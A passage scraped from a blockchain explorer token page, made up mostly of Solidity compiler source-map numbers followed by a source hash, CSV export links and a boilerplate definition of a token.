:34;4398:8;4392:4;4373:34;:::i;:::-;4443:6;4439:1;4435:6;4431:19;4422:7;4419:32;4416:58;;;4454:18;;:::i;:::-;4492:20;;3712:806;-1:-1:-1;;;3712:806:1:o;4523:140::-;4581:5;4610:47;4651:4;4641:8;4637:19;4631:4;4610:47;:::i;4668:168::-;4741:9;;;4772;;4789:15;;;4783:22;;4769:37;4759:71;;4810:18;;:::i;4841:128::-;4908:9;;;4929:11;;;4926:37;;;4943:18;;:::i;4974:217::-;5014:1;5040;5030:132;;5084:10;5079:3;5075:20;5072:1;5065:31;5119:4;5116:1;5109:15;5147:4;5144:1;5137:15;5030:132;-1:-1:-1;5176:9:1;;4974:217::o;5328:127::-;5389:10;5384:3;5380:20;5377:1;5370:31;5420:4;5417:1;5410:15;5444:4;5441:1;5434:15;5460:980;5722:4;5770:3;5759:9;5755:19;5801:6;5790:9;5783:25;5827:2;5865:6;5860:2;5849:9;5845:18;5838:34;5908:3;5903:2;5892:9;5888:18;5881:31;5932:6;5967;5961:13;5998:6;5990;5983:22;6036:3;6025:9;6021:19;6014:26;;6075:2;6067:6;6063:15;6049:29;;6096:1;6106:195;6120:6;6117:1;6114:13;6106:195;;;6185:13;;-1:-1:-1;;;;;6181:39:1;6169:52;;6276:15;;;;6241:12;;;;6217:1;6135:9;6106:195;;;-1:-1:-1;;;;;;;6357:32:1;;;;6352:2;6337:18;;6330:60;-1:-1:-1;;;6421:3:1;6406:19;6399:35;6318:3;5460:980;-1:-1:-1;;;5460:980:1:o;6445:125::-;6510:9;;;6531:10;;;6528:36;;;6544:18;;:::i

Swarm Source

ipfs://77d95cf1a581766897771c47eab284e0bada39000e23a672d3af3a23b7d45924
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.